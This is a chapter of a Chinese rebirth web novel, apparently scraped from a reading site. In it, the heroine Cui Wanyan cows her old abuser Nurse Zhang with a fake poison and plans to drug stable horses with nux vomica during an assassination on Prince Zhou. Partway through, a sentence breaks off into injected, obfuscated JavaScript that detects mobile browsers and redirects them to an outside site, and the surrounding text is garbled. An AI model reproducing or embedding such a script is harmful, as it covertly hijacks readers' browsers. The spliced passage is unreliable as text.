默认冷灰
24号文字
方正启体

2. 前世夫君

作者:听风入夜本书字数:K更新时间:
    夜已深,驿馆外树影婆娑,虫鸣断续。天边残月如钩,映在瓦脊上,冷得渗骨。


    张嬷嬷命大,竟活了过来。


    当时那一刀落得重,血流如注,谁都以为她撑不过。带队的护卫是国公府派来的心腹,见她一口气还在,连夜请了城中最好的大夫。


    崔莞言抬步进屋时,张嬷嬷躺在榻上,脸色惨白,肩头包着厚厚的白布,气息微弱。


    似是察觉有人靠近,她睁眼一瞧,见是崔莞言,当即眼中喷火,咬牙切齿道:“你还敢来?贱人,竟敢拉我挡刀!你……你个扫把星,蛇蝎心肠!”


    崔莞言阖上门,不紧不慢地走近榻前,俯下身,在她耳边低语:“嬷嬷不是一直恨我命硬、克人?既如此,我怎能叫嬷嬷安安稳稳地活着回京?”


    灯影摇曳,少女眉眼含笑,却笑得令人胆寒。


    张嬷嬷猛然察觉,眼前这个人,早已不是那个唯唯诺诺、受气吞声的废物了。


    她眼神阴沉,负手立于榻前,目光落在床头那只瓷盅上。


    “张嬷嬷命硬,天不收,命里也该再受些罪。”


    “你……你想做什么……”张嬷嬷声音发颤,想撑起身,动了却牵扯伤口,疼得嘶声倒吸气。


    她当然想杀了这个恶妇。


    前世初回京时,她一路上被张嬷嬷训得狗血淋头。那时她只道嬷嬷是府中老人,凡事忍了让了,终究能换来一份温情。


    可她错了。


    张嬷嬷是主母手中最锋利的一把刀。


    最初,是早晨例行请安迟了几步,张嬷嬷便提议罚跪一月,让她在日头下晕过去数次。再后来,是冬夜冷风里逼她抄书至深夜,冻得指节皲裂,第二日还要她端着字帖去堂上请罪。


    前世她额角的疤也是拜张嬷嬷所赐。


    说她规矩学得慢,教她跪着顶水罐练礼仪。水落便打,一连三日,直到那只铜罐砸下来,生生磕破额头。流血的时候,张嬷嬷还笑着说:“磕出点规矩才像样。”


    国公府里的嬷嬷何止她一个,可只有张嬷嬷最最敢下手。因为她惯会出坏主意,主母点头,她便执行得滴水不漏。


    口口声声说教规矩,实际上却句句戳着她的命门,处处踩着她的尊严。


    虽恨得牙痒,可她回想起出生之日,主母小产自此终身不孕,着实蹊跷。那夜暴雪封门,张嬷嬷一直守在夫人身边……


    这样的关键人物,怎能轻易除去?


    留着,还有用。


    “放心,我舍不得你死。”


    她从袖中取出一只细颈青瓷瓶,拈起瓶塞。


    张嬷嬷眼皮猛跳直觉不妙,扭头就要躲,却已迟了。崔莞言身形一俯,五指稳稳扣住她下颌,似铁钳锁骨,寸步难挣。


    她瞪大眼,惊恐未退,嘴刚张开,几粒药丸已被生生塞入口中,哽得眼泪直冒。“救……”


    见张嬷嬷要喊,崔莞言一把扯过厚被覆上她的口鼻,冷厉的力道压下去,毫无迟疑,毫无怜悯。


    张嬷嬷拼命挣扎,手脚乱蹬,将榻褥抖得翻了过来。


    崔莞言却神色漠然,双手沉稳如山,眼里不见怒火,唇角竟还泛着一丝讥笑。她像在审视一只待宰的鸡狗,看着挣动由狂乱到微弱,直到瘫软,才慢慢松开手,将被子揭开。


    榻上的人如同刚淹过水的老狗,头发凌乱,满脸是泪,几欲断气。


    崔莞言站起身,居高临下望着她,冷冷开口:“还喊吗?”


    张嬷嬷颤抖着摇头,刚要哼出声,崔莞言却已接着道:“封州偏僻,多毒虫杂草。我在那里十几年,倒也识得一种药,无色无味,寻常大夫查验不出来。此药初服无异,一月内若无解药,会五脏灼痛,血溢七窍而死。你刚刚吃下的,就是。”


    看着她那张因恐惧而扭曲的脸,崔莞言心里一阵畅快,仿佛积年的污浊从胸口顺势拔出。


    “只要你听话,我自然不会忘了解药。”


    语罢,她起身欲走,忽又回头,将床头那盅尚未用的敷伤药取走。“嬷嬷身体强健,这药也是不必用了。”


    屋外风冷,吹得她袖口拂动。


    袖中的药瓶还带着余温,里面不过是几颗安神丸。


    她总算明白,要驯一条狗,的确不必刀剑加身,只需让她信,命在你手里。


    -


    回房时,屋内早已生了炉火,青禾正端着茶盏候在门边。


    她抬头一见崔莞言,神色僵住。


    崔莞言瞥见她捏得发白的指尖:“怕我?”


    青禾忙低头:“不敢……奴婢只是……”


    “只是觉得我变了?”


    青禾咬唇不语,片刻才低声道:“小姐在山中……杀人时眼都没眨。”


    崔莞言接过茶,盯着茶面缓缓漾开的热雾,淡淡道:“为了活下去,总是要狠一些的。”


    青禾年纪尚轻,听不懂这些话里藏着多少风雪旧事。她只是下意识地畏惧,觉得理所应当,却又难以言明。


    “周王如今住哪院?”崔莞言问。


    青禾忙答:“西北角那间独院,进出有兵把守。”


    “好。”她垂眸,将茶盏放回案上,“下去吧。”


    青禾行了礼,很快退了出去。


    崔莞言坐在灯下,脑中缓缓浮现那人过往种种。


    褚元唐是当今皇帝的亲弟。


    生母宸妃,昔年因替人求情触怒先帝,被贬入冷宫。他便在那废宫残瓦中熬过七年,直至宸妃病死于寒冬。


    他天资聪敏,弓马诗书皆出众,却被弃若敝屣。直到先帝老年偶忆旧人,方有一丝怜悯之意,尚未来得及安排,边疆战起,他便被当作和谈筹码,远送敌国为质。


    他归朝那年,群臣避言,百姓噤声,只道那人静如寒潭,不怒自威。


    后来朝局动荡,他兵临都城,谋逆之名落定,死于宫门之外。


    而她崔莞言,赐婚于他,自一开始,便是错配。


    前世在王府的那些年,她小心翼翼、谨守妇道,操持中馈,撑过风霜酷寒。即便在兵变前夜,她仍不愿相信他真会谋逆。


    如今重活一世,她不稀罕他的温言软语,更不图他半分怜色。


    她只盼他早些死。


    若他死在建州,便不会有日后的兵变,不会有王府上下、老小满门血洗。


    她记得清楚,建州官驿是风暴的开端。


    当时褚元唐自北境回朝,一路静默无虞,却在建州官驿遭了刺杀。


    出事前数日,镇北军亲卫频频抱恙,夜巡间断,换哨不齐,后来才知,是有人暗中将药掺进亲卫的饭食里。那药非毒,只使人困乏、力衰,几日后便觉四肢无力,神志恍惚。


    刺客就是趁此空隙破窗而入,直逼内室。


    前世的她对此一无所知,只记得那夜喊杀声突起,她仓皇躲进柜中,第二日走出时褚元唐已揪出内鬼,将那名贴身侍从拖出院子,生生拷打至死。


    可这一次不同。


    一切从头开始,既无法控制刺客……她便要替他们,争取一个更大的空隙。


    她低头缓步,月色将她的影子拉得斜长,心中念头翻涌,早已无法安眠。


    火?声势太大,恐殃及无辜。


    毒?不致命,扰


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15962439|177703||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    乱不了军心。


    她越想越觉得处处掣肘,寸步难行。


    忽然,她目光落在案上那包张嬷嬷的伤药上。拈开一角,细细嗅了嗅,味道苦烈冲鼻,面上那些是马钱子。


    她儿时年幼体弱,寄养在农户家中,一病常拖十日半月,连请郎中都成奢望。幸而照看她的老妪早年做过药童,粗识药性,常以草药调养。她耳濡目染,也渐识得些药材名目、性状与禁忌。


    那老妪曾提起,昔年曾有马误食马钱子渣滓,发作之下,疯撞狂奔,几欲撞死。


    马钱子药性凶猛,过量服用者,不论人兽,皆可陷入极度亢奋之态,轻则抽搐,重则神志失常、狂奔不止。


    若将其研成粉末,暗中掺入马料之中,一旦发作,马惊乱奔,定会引发兵阵失序。


    她不再犹豫,当即将药包研作细末,藏于蜡纸,塞入袖中。


    第二日上午,她披了件外衫,假作闲步,朝后院马厩行去。


    方转过廊角,一股潮湿霉气自厢房深处隐隐飘来。


    厢内传出低语。


    “昨儿那捆好草都湿透了,再不遮掩,只怕要吃罚板。”


    “怕什么?我把湿草垫底,新草盖上头,谁来细查?”


    “咱们不过是做个活命营生,主子哪顾得上这些破事。”


    说罢,几人脚步响起,已自门中走出,往别处去了。


    崔莞言立在暗处,目光沉沉。


    马厩后院湿寒积久,草料早混入劣品,想来并非一日两日。


    她静待四下无人,快步入内,从一堆干草中挑出一捆尚新的,将药藏匿其中,悄然撤去。


    出得后院,行至偏院转角,又见几名小厮倚墙闲坐,低声言语,语句模糊,却隐隐带出周王二字。


    她敛声匿影,潜入廊角阴影静听。


    “你们是没瞧见,殿下那日动怒,连整张桌子都掀了。”


    “将军都不敢劝,只站在旁边看。他就站在那儿,一动不动,目光直钉在那人身上,像要拧断脖子一般。”


    “真的假的?”


    “我亲眼所见。他那人一跪,吓得脸都白了,眼珠子发红。殿下却还笑,声音轻得像哄孩子。”


    “可那眼神,活像疯的。”


    “他说:‘下次若再误事,毋须请罪,去后院寻口井跳下便罢。’说完还亲手将地上碎物一件件捡起,谁欲上前帮忙,皆被他挥手挡开。”


    “北地能活着爬回来的人,心早就冻成了石头。”


    说话的声音渐低,几人看了眼天色,慌忙起身往后院方向赶去。


    崔莞言未动,站在廊下阴影中,面无表情。


    她前世是直到王府被围,才知自己嫁的是个什么样的人。她早知他冷,哪怕婚后数年,他也未曾对她多言半句。


    她一度自欺,那是贵人惯有的寡言,或者是幼时质子生涯造就的寡情。可那时她从不曾想过,他会疯。


    疯到敢兵临都城,在金銮殿前挥刀。


    风忽起,将她从沉思中唤回。


    她敛去神色,终是转身走出廊角。


    -


    夜渐深,崔莞言坐于榻上,凝着未关的窗扉,静候马厩动静。


    正此时,院外忽有脚步响动。


    “崔小姐,周王殿下请您移步后院一叙。”


    褚元唐要见她?


    前世他救她不过是顺手之举,一路寡言,冷面冷心。如今局势方起,他却主动召见?


    不论他意为何,都不能露出半点破绽。


    她起身整衣,对外道:“请殿下稍候,我换件衣裳便来。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)